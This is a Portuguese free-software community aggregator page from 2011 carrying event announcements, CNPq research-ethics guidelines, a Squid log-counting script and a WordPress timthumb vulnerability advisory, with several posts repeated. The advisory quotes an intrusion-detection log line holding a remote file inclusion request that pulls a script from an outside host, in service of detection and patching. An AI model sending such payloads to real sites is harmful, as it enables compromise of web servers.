O Projeto Software Livre Bahia (PSL-BA) é um movimento aberto que busca, através da força cooperativa, disseminar na esfera estadual os ideais de liberdade difundidos pela Fundação Software Livre (FSF), possibilitando assim a democratização do acesso a informação, através dos recursos oferecidos pelo Software Livre. Esta busca tem seus alicerces fundados na colaboração de todos, formando um movimento sinérgico que converge na efetivação dos ideais de Liberdade, Igualdade, Cooperação e Fraternidade.
O Projeto Software Live Bahia é formado pela articulação de indivíduos que atuam em instituições publicas e privadas, empresas, governos ou ONGs, e demais setores da sociedade. Além disso o projeto não é subordinado a qualquer entidade ou grupo social, e não estabelece nenhuma hierarquia formal na sua estrutura interna.
Mônica Paz: Simpósio sobre Interatividade nos Sistemas Computacionais Livres na UFBA
8 de Dezembro de 2011, 0:00 - sem comentários aindaAcontece nos dias 9, 10 e 11 de dezembro o ISCL2011 - II Simpósio Interatividade nos Sistemas Computacionais Livres da UFBA, no PAF IV, campus de Ondina, Salvador-BA.
O ISCL2011 contará com a participação de pesquisadores da UFBA e da UNIFACS envolvidos com a questão do software, da robótica e da arte livres. A programação é composto de oficinas, performance audiovisual, minicursos e palestras. Destaque para a participação do LabDebug e suas atividades relacionadas à mulher e tecnologia.
As incrições podem ser feitas no site do simpósio e estão atreladas á doação de 1Kg de alimento não-perecívelentregue no local. Para mais informações visite iscl2011.wordpress.com.
JavaBahia: Coding dojo java 7
29 de Novembro de 2011, 0:00 - sem comentários ainda- Novidades java 7
- apresentação do problema
- dojo
- retrospectiva
- fishbowl
- Sorteio de Brindes
JavaBahia: Coding dojo java 7
29 de Novembro de 2011, 0:00 - sem comentários ainda- Novidades java 7
- apresentação do problema
- dojo
- retrospectiva
- fishbowl
- Sorteio de Brindes
Mônica Paz: I Encontro Baiano pelo Fim da Violência Contra Mulheres
26 de Novembro de 2011, 0:00 - sem comentários aindaAcabo de receber o email de divulgação do I Encontro Baiano pelo Fim da Violência Contra Mulheres e achei bem interessante.
A questão da representação da mulher nos pagodes baianos tem gerado muita polêmica em Salvador. Primeiro, porque as letras dessas músicas são, as vezes, inacreditáveis e, segundo, por conta da contovérsia que a Lei Antibaixaria colocou em discussão. No geral, acho correto que dinheiro público não seja investido em ações que aumentem ou estimulem o preconceito, a dicriminação e a violência. E se a TVBA acha lindo incentivar a veiculação dessas letras medonhas no horário de almoço, sinal de que temos que ficar de olho aberto para as "forças" ai envolvidas.
Vejam o conteúdo do email com grifos meus:
I Encontro Baiano pelo
Fim da Violência Contra Mulheres
Data : 6 de dezembro de 2011
Horário: 9 – 17 hs (Inscrições no local)
Local: Pavilhão Raul Seixas da FFCH/UFBA
Estrada de São Lázaro, 187 – Federação
Promoção: OBSERVE/NEIM/UFBA
Programação:
Manhã:
Mesa Redonda: A Violência Simbólica de Gênero e a Lei Antibaixaria na
Bahia em Debate
Participantes: Dep. Luiza Maia, Profa. Cecilia Sardenberg
Tarde:
Oficina I : Clebemilton Nascimento (coord.) – A representação das
Mulheres no Pagode
Oficina II: Sandra Munhoz (coord.) – A Marcha das Vadias
Mônica Paz: I Encontro Baiano pelo Fim da Violência Contra Mulheres
26 de Novembro de 2011, 0:00 - sem comentários aindaAcabo de receber o email de divulgação do I Encontro Baiano pelo Fim da Violência Contra Mulheres e achei bem interessante.
A questão da representação da mulher nos pagodes baianos tem gerado muita polêmica em Salvador. Primeiro, porque as letras dessas músicas são, as vezes, inacreditáveis e, segundo, por conta da contovérsia que a Lei Antibaixaria colocou em discussão. No geral, acho correto que dinheiro público não seja investido em ações que aumentem ou estimulem o preconceito, a dicriminação e a violência. E se a TVBA acha lindo incentivar a veiculação dessas letras medonhas no horário de almoço, sinal de que temos que ficar de olho aberto para as "forças" ai envolvidas.
Vejam o conteúdo do email com grifos meus:
I Encontro Baiano pelo
Fim da Violência Contra Mulheres
Data : 6 de dezembro de 2011
Horário: 9 – 17 hs (Inscrições no local)
Local: Pavilhão Raul Seixas da FFCH/UFBA
Estrada de São Lázaro, 187 – Federação
Promoção: OBSERVE/NEIM/UFBA
Programação:
Manhã:
Mesa Redonda: A Violência Simbólica de Gênero e a Lei Antibaixaria na
Bahia em Debate
Participantes: Dep. Luiza Maia, Profa. Cecilia Sardenberg
Tarde:
Oficina I : Clebemilton Nascimento (coord.) – A representação das
Mulheres no Pagode
Oficina II: Sandra Munhoz (coord.) – A Marcha das Vadias
Mônica Paz: Ética na Pesquisa - diretrizes do CNPq
16 de Novembro de 2011, 0:00 - sem comentários aindaTem uma piadinha leviana que sempre rola na internet que diz que "roubar de uma pessoa é plágio, roubar de várias é pesquisa". Se você acredita e pratica isso, cuidado para que o escândalo não bata a sua porta. A pesquisa científica requer uma ética e a questão das referências são muito importantes, além, é claro, que a contribuição do autor deve ser expressa de maneira legítima.
Recentemente, o CNPq publicou as diretrizes da pesquisa ética da Comissão de Integridade de Pesquisa dessa agência de pesquisa científica e tecnologica, que são mostradas a seguir:
Diretrizes
1: O autor deve sempre dar crédito a todas as fontes que fundamentam diretamente seu trabalho.
2: Toda citação in verbis de outro autor deve ser colocada entre aspas.
3: Quando se resume um texto alheio, o autor deve procurar reproduzir o significado exato das ideias ou fatos apresentados pelo autor original, que deve ser citado.
4: Quando em dúvida se um conceito ou fato é de conhecimento comum, não se deve deixar de fazer as citações adequadas.
5: Quando se submete um manuscrito para publicação contendo informações, conclusões ou dados que já foram disseminados de forma significativa (p.ex. apresentado em conferência, divulgado na internet), o autor deve indicar claramente aos editores e leitores a existência da divulgação prévia da informação.
6: se os resultados de um estudo único complexo podem ser apresentados como um todo coesivo, não é considerado ético que eles sejam fragmentados em manuscritos individuais.
7: Para evitar qualquer caracterização de autoplágio, o uso de textos e trabalhos anteriores do próprio autor deve ser assinalado, com as devidas referências e citações.
8: O autor deve assegurar-se da correção de cada citação e que cada citação na bibliografia corresponda a uma citação no texto do manuscrito. O autor deve dar crédito também aos autores que primeiro relataram a observação ou ideia que está sendo apresentada.
9: Quando estiver descrevendo o trabalho de outros, o autor não deve confiar em resumo secundário desse trabalho, o que pode levar a uma descrição falha do trabalho citado. Sempre que possível consultar a literatura original.
10: Se um autor tiver necessidade de citar uma fonte secundária (p.ex. uma revisão) para descrever o conteúdo de uma fonte primária (p. ex. um artigo empírico de um periódico), ele deve certificar-se da sua correção e sempre indicar a fonte original da informação que está sendo relatada.
11: A inclusão intencional de referências de relevância questionável com a finalidade de manipular fatores de impacto ou aumentar a probabilidade de aceitação do manuscrito é prática eticamente inaceitável.
12: Quando for necessário utilizar informações de outra fonte, o autor deve escrever de tal modo que fique claro aos leitores quais ideias são suas e quais são oriundas das fontes consultadas.
13: O autor tem a responsabilidade ética de relatar evidências que contrariem seu ponto de vista, sempre que existirem. Ademais, as evidências usadas em apoio a suas posições devem ser metodologicamente sólidas. Quando for necessário recorrer a estudos que apresentem deficiências metodológicas, estatísticas ou outras, tais defeitos devem ser claramente apontados aos leitores.
14: O autor tem a obrigação ética de relatar todos os aspectos do estudo que possam ser importantes para a reprodutibilidade independente de sua pesquisa.
15: Qualquer alteração dos resultados iniciais obtidos, como a eliminação de discrepâncias ou o uso de métodos estatísticos alternativos, deve ser claramente descrita junto com uma justificativa racional para o emprego de tais procedimentos.
16: A inclusão de autores no manuscrito deve ser discutida antes de começar a colaboração e deve se fundamentar em orientações já estabelecidas, tais como as do International Committee of Medical Journal Editors.
17: Somente as pessoas que emprestaram contribuição significativa ao trabalho merecem autoria em um manuscrito. Por contribuição significativa entende-se realização de experimentos, participação na elaboração do planejamento experimental, análise de resultados ou elaboração do corpo do manuscrito. Empréstimo de equipamentos, obtenção de financiamento ou supervisão geral, por si só não justificam a inclusão de novos autores, que devem ser objeto de agradecimento.
18: A colaboração entre docentes e estudantes deve seguir os mesmos critérios. Os supervisores devem cuidar para que não se incluam na autoria estudantes com pequena ou nenhuma contribuição nem excluir aqueles que efetivamente participaram do trabalho. Autoria fantasma em Ciência é eticamente inaceitável.
19: Todos os autores de um trabalho são responsáveis pela veracidade e idoneidade do trabalho, cabendo ao primeiro autor e ao autor correspondente responsabilidade integral, e aos demais autores responsabilidade pelas suas contribuições individuais.
20: Os autores devem ser capazes de descrever, quando solicitados, a sua contribuição pessoal ao trabalho.
21: Todo trabalho de pesquisa deve ser conduzido dentro de padrões éticos na sua execução, seja com animais ou com seres humanos.
Alexandro Silva: WordPress: Corrigindo vulnerabilidade no timthumb
11 de Novembro de 2011, 0:00 - sem comentários aindaSugiu uma vulnerabilidade no WordPress classificada como alta, a falha foi encontrada no script timthumb presente na maioria dos templates e permite a inclusão de arquivos maliciosos.
O Ossec alerta e bloqueia as tentativas de ataque com o objetivo de explorar está vulnerabilidade se a active-response foi habilitada.
OSSEC HIDS Notification.
2011 Nov 11 03:29:38Received From: acme->/var/log/httpd/www.acme.com-access_log
Rule: 31151 fired (level 10) -> “Mutiple web server 400 error codes from same source ip.”
Portion of the log(s):xx.xxx.xxx.xxx – - [11/Nov/2011:04:29:25 -0200] “GET //wp-content/themes/Quadro/thumb.php?src=http://picasa.com.xpl.be/yahoo.php HTTP/1.1″ 404 232 “-” “Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4″
Para corrigi-la é necessário executar os seguintes passos:
1 . Localizar se o arquivo timthumb.php, thumb.php ou similar que encontra-se no diretório template localizado em /wp-content/themes;
2. Em caso afirmativo substituir todo o código pela nova versão[1]
[1] code.google.com/p/timthumb/source/browse/trunk/timthumb.php
Maiores informações:
blog.ptservidor.pt/seguranca/alerta-de-seguranca-vulnerabilidade-timthumb/
blog.spiderlabs.com/2011/11/wordpress-timthumb-attacks-rising.html
markmaunder.com/2011/08/01/zero-day-vulnerability-in-many-wordpress-themes/
See:
Mônica Paz: ACTA 2011 - Semana de Arte, Cultura, Ciência e Tecnologia da UFBA
5 de Novembro de 2011, 0:00 - sem comentários aindaA ACTA 2011 - Semana de Arte, Cultura, Ciência e Tecnologia da UFBA ocontece de 7 a 11 de novembro para apresentar à população baiana as diversas formas de produção de conhecimento da universidade, através da sua produção científica, cultural e artística.
O evento tem um aspecto multidisciplinar e reune diversos eventos na sua programação, com destaque para o XXX SEMEP - XXX Seminário Estudantil de Pesquisa e o X SEMPPG - X Seminário de Pesquisa e Pós-Graduação, além de outros seminários, oficinas, cursos e palestras.
O evento foi idealizado pelo Conselho Superior de Ensino, Pesquisa e Extensão (CONSEPE) da UFBA e pretende reunir professores, discentes e técnicos administrativos.
Eu apresentarei um trabalho que venho desenvolvendo sobre a comunidade software livre com o enfoque da Teoria Ator-Rede de Bruno Latour no X SEMPPG, na quarta a tarde. Mas em breve, espero apresentar uma publicação mais elaborada a este respeito.
Para mais informações, acesse o site http://www.acta.ufba.br/.
JavaBahia: 10 anos do Eclipse e CloudCamp
28 de Outubro de 2011, 0:00 - sem comentários aindaUntitled DocumentJavaBahia: 10 anos do Eclipse e CloudCamp
28 de Outubro de 2011, 0:00 - sem comentários aindaUntitled DocumentLive Blue News: KDE comemora seus 15 anos no Latinoware 2011
26 de Outubro de 2011, 0:00 - sem comentários ainda
Latinoware 2011
No último dia 14 de Outubro o KDE completou 15 anos de muito trabalho, inovação e diversão é claro ! O KDE Brasil aproveitou a 8a. Edição da Conferência Latino-Americana de Software Livre (Latinoware 2011) para realizar uma grande festa ! Este ano, mais do que nunca, tivemos um stand super bacana: banner dos 15 anos do KDE, TV para demonstrar as feature mais legais do KDE e passar vídeos bacanas, diversos “apetrechos” do KDE: camisas, pins, adesivos, cartões postais, etc. O IV Fórum KDE Brasil – Edição Latino-Americana trouxe para o Latinoware uma série de palestras e mini-cursos sobre as tecnologias Qt e KDE.
Banner comemorativo dos 15 anos do KDE
Nosso stand
KDE swags
Nosso amigo Juan do KDE-Argentina
Na quarta-feira, dia 19, tivemos o mini-curso “Desenvolvendo Aplicações Mobile com Qt 4.8″, ministrado por Sandro Andrade e Luis Paulo Torres. No mini-curso foram apresentados os principais recursos do Qt Mobility 1.2 que promovem o desenvolvimento cross-platform de aplicações para o Symbian, Maemo, Meego e também Android e iOS. Laboratórios práticos de acesso aos diversos sensores (acelerômetro, orientação, etc), dados de contatos e integração com GPS foram realizados. A participação do público foi excelente: 20 participantes (sala lotada) e mais alguns de pé.
Mini-Curso ”Desenvolvendo Aplicações Mobile com Qt 4.8″
Também na quarta-feira Filipe Saraiva apresentou a palestra “KDE-Edu: a visão KDE dos softwares aducacionais”, onde os aplicativos educationais e tendências futuras do KDE na educação foram apresentados.
Palestra “KDE-Edu: a visão KDE dos softwares aducacionais” com Filipe Saraiva
Ainda no primeiro dia o Open Source Rock Festival aqueceu os ânimos dos participantes.
Open Source Rock Festival
Participantes ilustres
O Latinoware 2011 trouxe uma interessante tecnologia (E-Take) para o favorecimento da redução do consumo de papel no evento. Cada participante recebeu, no momento do credenciamento, um pequeno dispositivo utilizado para solicitar material em meio digital previamente disponibilizado pelos stands. O participante aproximava o dispositivo de um receptor presente em cada stand e automaticamente o material era enviado para o seu e-mail.
Na sexta-feira, dia 21, ocorreu o Forum KDE propriamente dito com a palestra de abertura “15 anos de KDE: o que construimos ? para onde iremos ?”, apresentada por Aracele Torres. Na apresentação, revisitamos toda a trajetória do KDE ao longo deste período, destacando as grandes conquistas e os projetos mais desafiadores.
Palestra “15 anos do KDE: o que construimos ? para onde iremos ?”
Logo em seguida a palestra “KDE Frameworks 5: o que você ganha com isso ?” ministrada por Sandro Andrade, apresentou as facilidades atualmente disponibilizadas pelo KDE Platform 4 e as modificações previstas na próxima liberação major das tecnologias KDE. APIs para multimídia (via Phonon), I/O síncrono e assíncrono, local ou remoto (KIO), controle de GUIs via XML (KXMLGUI), obtenção e upload de artefatos na web (Get Hot New Stuff), utilização de plugins e KParts foram demonstrados através de códigos exemplo. Aspectos sobre modularização e definição explícitas de dependências na futura versão da plataforma (KDE Frameworks 5) foram também ilustrados. Uma das metas é favorecer ainda mais a execução de aplicações KDE no mais amplo espectro de dispositivos.
Palestra “KDE Frameworks 5: o que você ganha com isso ?”
Dando continuidade ao IV Fórum KDE Brasil nosso amigo Juan Muguerza, do KDE Argentina, apresentou a palestra “Owncloud: cria a sua própria nuve com KDE”, onde a soluções opensource completa do KDE para computação na nuvem foi apresentada e discutida.
Palestra “Owncloud: cria a sua própria nuve com KDE”
Encerrando nossa participação no VIII Latinoware, a palestra “Plasma Active: o KDE chega ao seu tablet” ministrada por Sandro Andrade apresentou a recém-lançada versão do workspace Plasma totalmente dedicado aos tablets e outros dispositivos móveis. As principais facilidades para criação de activities e ligação de URLs e aplicações às activities presentes foram demonstradas. Versões mobile das aplicações KDE Kontact e Calligra trazem uma maior facilidade de utilização nos tablets e ratificam o Plasma como tecnologia bastante promissora e certamente presente em uma ampla faixa de dispositivos em um futuro próximo.
KDE Plasma Active em ação
Como não poderia faltar uma comemoração compatível com todas as conquistas do KDE não poderia deixar de estar presente
Antes
Depois
E até o próximo Latinoware
Update: ainda temos algum material do KDE disponível para venda (camisas, pins, cartões postais, adesivos, etc). Fotos abaixo, interessados devem contactar sandroandrade AT kde DOT org
Wille Marcel: Latinoware 2011
24 de Outubro de 2011, 0:00 - sem comentários aindaNa semana passada, participei pela primeira vez da Latinoware (Conferência Latino-Americana de Software Livre), creio que o segundo maior evento de Software Livre do Brasil. Gostei muito da Latinoware, por vários motivos… Apesar de não ter uma programação tão grande quanto a do FISL, por ser um evento menor, você consegue conversar com mais gente e se deslocar pelos espaços com mais calma. A programação foi bastante diversificada, com minicursos e palestras de diversas áreas. Também gostei da presença de participantes de vários países da América do Sul, como Bolívia, Colômbia, Peru, Paraguai e Argentina. Acho muito interessante que essa integração aconteça.
Além disso, apresentei uma palestra com Djavan Fagundes sobre o OpenStreetMap. Na apresentação, falamos da importância e potencial do OSM, de alguns projetos de mapeamento que temos e mostramos como começar a editar no OSM. Foram publicados dois posts sobre a palestra, um no site do evento e outro em um blog da Serpro. Também cedemos uma entrevista para a assessora de comunicação do Serpro que deve render uma matéria em breve na revista da empresa.
A apresentação de slides está disponível em: http://bayfiles.com/file/193B/cnTS31/mapeamento_OSM-1.2.pdf
Wille Marcel: Latinoware 2011
24 de Outubro de 2011, 0:00 - sem comentários aindaNa semana passada, participei pela primeira vez da Latinoware (Conferência Latino-Americana de Software Livre), creio que o segundo maior evento de Software Livre do Brasil. Gostei muito da Latinoware, por vários motivos… Apesar de não ter uma programação tão grande quanto a do FISL, por ser um evento menor, você consegue conversar com mais gente e se deslocar pelos espaços com mais calma. A programação foi bastante diversificada, com minicursos e palestras de diversas áreas. Também gostei da presença de participantes de vários países da América do Sul, como Bolívia, Colômbia, Peru, Paraguai e Argentina. Acho muito interessante que essa integração aconteça.
Além disso, apresentei uma palestra com Djavan Fagundes sobre o OpenStreetMap. Na apresentação, falamos da importância e potencial do OSM, de alguns projetos de mapeamento que temos e mostramos como começar a editar no OSM. Foram publicados dois posts sobre a palestra, um no site do evento e outro em um blog da Serpro. Também cedemos uma entrevista para a assessora de comunicação do Serpro que deve render uma matéria em breve na revista da empresa.
A apresentação de slides está disponível em: http://bayfiles.com/file/193B/cnTS31/mapeamento_OSM-1.2.pdf
Ataliba Neto: TOP10 dos Sites Mais Acessados Através do Squid
24 de Outubro de 2011, 0:00 - sem comentários aindaEstou adicionando ao nosso sistema de monitoramento mais uma opção, que é a listagem dos 10 sites mais acessados nos Centros Digitais de Cidadania.
Primeiramente você deve ter toda a estrutura do proxy em funcionamento (Squid + Iptables ou Squid + Firefox configurado pra sair pelo proxy). Em seguida execute o comando em Shell Script abaixo:
# cat /var/log/squid/access.log | egrep -i -v “(\.jpg|\.gif|\.png|\.swf|\.jpeg|\.js|\.css|\.ico|\?)” | awk ‘{print $7}’ | sort | cut -d’/’ -f 1,2,3 | uniq -c | sort -rn | head -10
Ao final do comando será apresentada a quantidade de acessos ao site juntamente com seu endereço, o resultado será parecido com este:
1338 http://downloads.berimbau.ba.gov.br
101 http://safebrowsing-cache.google.com
22 http://www.secti.ba.gov.br
20 http://mirrors.adnettelecom.ro
12 http://www.bahianoticias.com.br
12 http://vida.berimbau.ba.gov.br
7 http://www.atalibaneto.com.br
7 http://atalibaneto.wordpress.com
6 http://www.cidadaniadigital.ba.gov.br
3 http://platform.twitter.com
Feito!
O que esse comando faz?
1. Primeiro vamos varrer todo o log aonde fica armazenado os sites acessados pelos usuários.
# cat /var/log/squid/access.log
2. Em seguida vou filtrar as conexões excluindo os sites que não me interessa como; imagens, ícones, java, flash e etc. Só quero o site principal que o usuário acessou. (você pode aprimorar essa limpeza adicionando mais opções ao filtro)
egrep -i -v “(\.jpg|\.gif|\.png|\.swf|\.jpeg|\.js|\.css|\.ico|\?)”
3. Seleciono o endereço dos sites que estão na 7ª coluna e organizo os sites em ordem alfabética.
awk ‘{print $7}’ | sort
4. Pego apenas o endereço principal dos sites, para isso vou pegar tudo que existir até a 3ª /. Por exemplo se aparecer assim http://www.atalibaneto.com.br/asdhkshkashd___34734 será mostrado http://www.atalibaneto.com.br
cut -d’/’ -f 1,2,3
5. Realizo a contagem de sites repetidos e organizo em ordem decrescente .
uniq -c | sort -rn
6. Listo apenas os 10 primeiros sites acessados, se você quiser visualizar todos, remova o comando abaixo. Se deseja alterar a quantidade de sites apresentado na lista, altere o número 10 para o valor que desejar.
head -10
Os testes foram realizados no Debian Lenny e Squid versão 2.7.STABLE3-4.1lenny1.
Existe uma ferramenta chamada Sarg que cria diversos relatórios através do log do Squid, inclusive o TOP10. Não usei o Sarg porque preciso dessa lista em modo texto e o Sarg gera relatórios em HTML dentre outros motivos. Além do mais Shell Script é Shell Script, simples e eficiente. :)
Até breve!
Ataliba Neto: TOP10 dos Sites Mais Acessados Através do Squid
24 de Outubro de 2011, 0:00 - sem comentários aindaEstou adicionando ao nosso sistema de monitoramento mais uma opção, que é a listagem dos 10 sites mais acessados nos Centros Digitais de Cidadania.
Primeiramente você deve ter toda a estrutura do proxy em funcionamento (Squid + Iptables ou Squid + Firefox configurado pra sair pelo proxy). Em seguida execute o comando em Shell Script abaixo:
# cat /var/log/squid/access.log | egrep -i -v “(\.jpg|\.gif|\.png|\.swf|\.jpeg|\.js|\.css|\.ico|\?)” | awk ‘{print $7}’ | sort | cut -d’/’ -f 1,2,3 | uniq -c | sort -rn | head -10
Ao final do comando será apresentada a quantidade de acessos ao site juntamente com seu endereço, o resultado será parecido com este:
1338 http://downloads.berimbau.ba.gov.br
101 http://safebrowsing-cache.google.com
22 http://www.secti.ba.gov.br
20 http://mirrors.adnettelecom.ro
12 http://www.bahianoticias.com.br
12 http://vida.berimbau.ba.gov.br
7 http://www.atalibaneto.com.br
7 http://atalibaneto.wordpress.com
6 http://www.cidadaniadigital.ba.gov.br
3 http://platform.twitter.com
Feito!
O que esse comando faz?
1. Primeiro vamos varrer todo o log aonde fica armazenado os sites acessados pelos usuários.
# cat /var/log/squid/access.log
2. Em seguida vou filtrar as conexões excluindo os sites que não me interessa como; imagens, ícones, java, flash e etc. Só quero o site principal que o usuário acessou. (você pode aprimorar essa limpeza adicionando mais opções ao filtro)
egrep -i -v “(\.jpg|\.gif|\.png|\.swf|\.jpeg|\.js|\.css|\.ico|\?)”
3. Seleciono o endereço dos sites que estão na 7ª coluna e organizo os sites em ordem alfabética.
awk ‘{print $7}’ | sort
4. Pego apenas o endereço principal dos sites, para isso vou pegar tudo que existir até a 3ª /. Por exemplo se aparecer assim http://www.atalibaneto.com.br/asdhkshkashd___34734 será mostrado http://www.atalibaneto.com.br
cut -d’/’ -f 1,2,3
5. Realizo a contagem de sites repetidos e organizo em ordem decrescente .
uniq -c | sort -rn
6. Listo apenas os 10 primeiros sites acessados, se você quiser visualizar todos, remova o comando abaixo. Se deseja alterar a quantidade de sites apresentado na lista, altere o número 10 para o valor que desejar.
head -10
Os testes foram realizados no Debian Lenny e Squid versão 2.7.STABLE3-4.1lenny1.
Existe uma ferramenta chamada Sarg que cria diversos relatórios através do log do Squid, inclusive o TOP10. Não usei o Sarg porque preciso dessa lista em modo texto e o Sarg gera relatórios em HTML dentre outros motivos. Além do mais Shell Script é Shell Script, simples e eficiente. :)
Até breve!